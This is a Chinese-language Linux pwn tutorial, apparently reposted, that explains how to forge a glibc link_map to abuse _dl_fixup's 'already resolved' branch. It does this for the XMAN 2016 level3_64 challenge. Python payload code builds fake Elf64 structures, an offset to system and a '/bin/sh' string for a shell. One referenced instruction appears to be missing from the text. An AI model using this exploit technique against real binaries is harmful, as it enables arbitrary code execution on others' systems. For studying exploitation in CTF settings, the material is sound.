在前面的源碼分析中,咱們主要把目光集中在未解析過的函數在_dl_fixup的流程中而忽略了另一個分支。

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS            ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif            struct link_map *l, ElfW(Word) reloc_arg) {   ………… //變量定義,初始化等等   if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判斷函數是否被解析過。此前咱們一直利用未解析過的函數的結構體,因此這裏的if始終成立    …………       result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL); …………     }   else     {       /* We already found the symbol.  The module (and therefore its load          address) is also known.  */       value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);       result = l;     } ………… }

經過註釋咱們能夠看到以前的if起的是判斷函數是否被解析過的做用,若是函數被解析過,_dl_fixup就不會調用_dl_lookup_symbol_x對函數進行重定位,而是直接經過宏DL_FIXUP_MAKE_VALUE計算出結果。這邊用到了link_map的成員變量l_addr和Elf32/64_Sym的成員變量st_value。這裏的l_addr是實際映射地址和原來指定的映射地址的差值,st_value根據對應節的索引值有不一樣的含義。不過在這裏咱們並不須要關心那麼多,咱們只須要知道若是咱們能使l->l_addr + sym->st_value指向一個函數的在內存中的實際地址,那麼咱們就能返回到這個函數上。可是問題來了,若是咱們知道了system在內存中的實際地址,咱們何苦用那麼麻煩的方式跳轉到system上呢?因此答案是咱們不知道。咱們須要作的是讓l->l_addr和sym->st_value其中之一落在got表的某個已解析的函數上(如__libc_start_main),而另外一個則設置爲system函數和這個函數的偏移值。既然咱們都僞造了link_map,那麼顯然l_addr是咱們能夠控制的,而sym根據咱們的源碼分析,它的值最終也是從link_map中得到的(不少節區地址,包括.rel.plt, .dynsym, dynstr都是從中取值,更多細節能夠對比調試時的link_map數據與源碼進行學習)

const ElfW(Sym) *const symtab     = (const void *) D_PTR (l, l_info[DT_SYMTAB]);   const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);   const PLTREL *const reloc     = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);   const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

因此這兩個值咱們均可以進行僞造。此時只要咱們知道libc的版本,就能算出system與已解析函數之間的偏移了。
說到這裏可能有人會想到,既然僞造的link_map那麼厲害,那麼咱們爲何不在前面的dl-resolve中直接僞造出.dynstr的地址,而要經過一條冗長的求值鏈返回到system呢?咱們來看一下上面的這行代碼

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

根據位於glibc/include/Link.h中的link_map結構體定義,這裏的l_scope是一個當前link_map的查找範圍數組。咱們從link_map結構體的定義能夠看出來其實這是一個雙鏈表,每個link_map元素都保存了一個函數庫的信息。當查找某個符號的時候,其實是經過遍歷整個雙鏈表,在每一個函數庫中進行的查詢。顯然,咱們不可能知道libc的link_map地址,因此咱們沒辦法僞造l_scope,也就沒辦法僞造整個link_map使流程進入_dl_lookup_symbol_x,只能選擇讓流程進入「函數已被解析過」的分支。
回到主題,咱們爲了讓函數流程繞過_dl_lookup_symbol_x,必須僞造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0,根據sym的定義,咱們就得僞造symtab和reloc->r_info,因此咱們得僞造DT_SYMTAB, DT_JMPREL,此外,咱們得僞造strtab爲可讀地址,因此還得僞造DT_STRTAB,因此咱們須要僞造link_map前0xf8個字節的數據,須要關注的分別是位於link_map+0的l_addr,位於link_map+0x68的DT_STRTAB指針,位於link_map+0x70的DT_SYMTAB指針和位於link_map+0xF8的DT_JMPREL指針。此外,咱們須要僞造Elf64_Sym結構體,Elf64_Rela結構體,因爲DT_JMPREL指向的是Elf64_Dyn結構體,咱們也須要僞造一個這樣的結構體。固然,咱們得讓reloc_offset爲0.爲了僞造的方便,咱們能夠選擇讓l->l_addr爲已解析函數內存地址和system的偏移,sym->st_value爲已解析的函數地址的指針-8,即其got表項-8。(這部分在源碼中彷佛並無體現出來,可是調試的時候發現實際上會+8,緣由不明)咱們仍是以~/XMAN 2016-level3_64/level3_64爲例進行分析。
首先咱們來構造一個fake link_map

fake_link_map_data = "" fake_link_map_data += p64(offset)                        # +0x00 l_addr offset = system - __libc_start_main fake_link_map_data += '\x00'*0x60 fake_link_map_data += p64(DT_STRTAB)                #+0x68 DT_STRTAB fake_link_map_data += p64(DT_SYMTAB)                #+0x70 DT_SYMTAB fake_link_map_data += '\x00'*0x80 fake_link_map_data += p64(DT_JMPREL)                #+0xf8 DT_JMPREL 後面的link_map數據因爲咱們用不上就不構造了。根據咱們的分析,咱們留出來四個8字節數據區用來填充相應的數據,其餘部分都置爲0. 接下來咱們僞造出三個結構體 fake_Elf64_Dyn = "" fake_Elf64_Dyn += p64(0)                                #d_tag fake_Elf64_Dyn += p64(0)                                #d_ptr fake_Elf64_Rela = "" fake_Elf64_Rela += p64(0)                                #r_offset fake_Elf64_Rela += p64(7)                                #r_info fake_Elf64_Rela += p64(0)                                 #r_addend fake_Elf64_Sym = "" fake_Elf64_Sym += p32(0)                                 #st_name fake_Elf64_Sym += 'AAAA'                                #st_info, st_other, st_shndx fake_Elf64_Sym += p64(main_got-8)         #st_value fake_Elf64_Sym += p64(0)                                 #st_size

顯然咱們必須把r_info設置爲7以經過檢查。爲了使ELFW(ST_VISIBILITY) (sym->st_other)不爲0從而躲過_dl_lookup_symbol_x,咱們直接把st_other設置爲非0.st_other也必須爲非0以避開_dl_lookup_symbol_x,進入咱們但願要的分支。
咱們注意到fake_link_map中間有許多用\x00填充的空間,這些地方實際上寫啥都不影響咱們的攻擊,所以咱們充分利用空間,把三個結構體跟/bin/sh\x00也塞進去

offset = 0x253a0 #system - __libc_start_main fake_Elf64_Dyn = "" fake_Elf64_Dyn += p64(0)                                                                #d_tag                從link_map中找.rel.plt不須要用到標籤, 隨意設置 fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)                #d_ptr                指向僞造的Elf64_Rela結構體,因爲reloc_offset也被控制爲0,不須要僞造多個結構體 fake_Elf64_Rela = "" fake_Elf64_Rela += p64(fake_link_map_addr - offset)                #r_offset        rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可讀寫就行 fake_Elf64_Rela += p64(7)                                                                #r_info                index設置爲0,最後一字節必須爲7 fake_Elf64_Rela += p64(0)                                                                #r_addend        隨意設置 fake_Elf64_Sym = "" fake_Elf64_Sym += p32(0)                                                                #st_name        隨意設置 fake_Elf64_Sym += 'AAAA'                                                                #st_info, st_other, st_shndx st_other非0以免進入重定位符號的分支 fake_Elf64_Sym += p64(main_got-8)                                                #st_value        已解析函數的got表地址-8,-8體如今彙編代碼中,緣由不明 fake_Elf64_Sym += p64(0)                                                                #st_size        隨意設置 fake_link_map_data = "" fake_link_map_data += p64(offset)                        #l_addr,僞造爲兩個函數的地址偏移值 fake_link_map_data += fake_Elf64_Dyn fake_link_map_data += fake_Elf64_Rela fake_link_map_data += fake_Elf64_Sym fake_link_map_data += '\x00'*0x20 fake_link_map_data += p64(fake_link_map_addr)                #DT_STRTAB        設置爲一個可讀的地址 fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB        指向對應結構體數組的地址 fake_link_map_data += "/bin/sh\x00"                                        fake_link_map_data += '\x00'*0x78 fake_link_map_data += p64(fake_link_map_addr + 0x8)        #DT_JMPREL        指向對應數組結構體的地址

如今咱們須要作的就是棧劫持,僞造參數跳轉到_dl_fixup了。前二者好說,_dl_fixup地址也在got表中的第2項。可是問題是這是一個保存了函數地址的地址,咱們沒辦法放在棧上用ret跳過去,難道要再用一次萬能gadgets嗎?不,咱們能夠選擇這個

把這行指令地址放到棧上,用ret就能夠跳進_fix_up.如今咱們須要的東西都齊了,只要把它們組裝起來,pwn it!

閱讀原文便可下載課後練習題和例題~

原文地址:Linux pwn入門教程(10)——針對函數重定位流程的幾種攻擊

相關文章
相關標籤/搜索